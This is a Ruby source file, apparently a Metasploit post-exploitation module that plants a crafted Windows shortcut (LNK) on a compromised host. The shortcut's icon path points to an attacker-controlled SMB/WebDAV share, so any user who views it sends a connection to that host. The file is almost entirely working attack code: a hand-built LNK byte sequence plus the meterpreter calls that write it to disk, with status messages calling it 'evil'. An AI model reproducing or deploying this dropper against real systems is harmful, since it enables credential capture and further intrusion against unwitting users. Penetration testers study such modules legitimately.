97 lines
4.1 KiB
Ruby
97 lines
4.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Escalate SMB Icon LNK Dropper',
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'Description' => %q{
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This module drops a shortcut (LNK file) that has a ICON reference
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existing on the specified remote host, causing SMB and WebDAV
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connections to be initiated from any user that views the shortcut.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'mubix' ],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
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OptString.new("LNKFILENAME", [ true, "Shortcut's filename", "Words.lnk"]),
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OptString.new("SHARENAME", [ true, "Share name on LHOST", "share1"]),
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OptString.new("ICONFILENAME", [ true, "File name on LHOST's share", "icon.png"])
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], self.class)
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end
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def run
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print_status "Creating evil LNK"
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lnk = ""
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lnk << "\x4c\x00\x00\x00" #Header size
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lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" #Link CLSID
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lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"
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lnk << "\xdb\x00\x00\x00" #Link flags
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lnk << "\x20\x00\x00\x00" #File attributes
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Creation time
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Access time
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Write time
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lnk << "\x00\x00\x00\x00" #File size
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lnk << "\x00\x00\x00\x00" #Icon index
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lnk << "\x01\x00\x00\x00" #Show command
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lnk << "\x00\x00" #Hotkey
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lnk << "\x00\x00" #Reserved
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lnk << "\x00\x00\x00\x00" #Reserved
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lnk << "\x00\x00\x00\x00" #Reserved
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lnk << "\x7b\x00" #IDListSize
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#sIDList
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lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"
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lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"
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lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"
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lnk << "C:\\"
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lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"
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lnk << "\x00"
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lnk << "AUTOEXEC.BAT"
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lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"
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lnk << "\x5b\x15\x14\x00\x00\x00"
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lnk << Rex::Text.to_unicode("AUTOEXEC.BAT")
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lnk << "\x00\x00\x1c\x00\x00\x00"
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#sLinkInfo
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lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"
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lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"
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lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"
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lnk << "\x00\x00\x00"
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lnk << "C:\\AUTOEXEC.BAT"
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lnk << "\x00\x00\x0e\x00"
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#RELATIVE_PATH
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lnk << Rex::Text.to_unicode(".\\AUTOEXEC.BAT")
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lnk << "\x03\x00"
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#WORKING_DIR
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lnk << Rex::Text.to_unicode("C:\\")
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#ICON LOCATION
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lnk << "\x1c\x00"
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lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\#{datastore['SHARENAME']}\\#{datastore['ICONFILENAME']}`")
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lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"
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lnk << "computer"
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lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
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lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"
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lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
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lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"
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lnk << "\x08\x00\x27\x6f\xe3\x1f\x00\x00\x00\x00"
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print_status "Done. Writing to disk - #{session.fs.dir.pwd}\\#{datastore['LNKFILENAME']}"
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file = client.fs.file.new(datastore['LNKFILENAME'], 'wb')
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file.write(lnk)
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file.close
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print_status "Done. Wait for evil to happen.."
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end
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end
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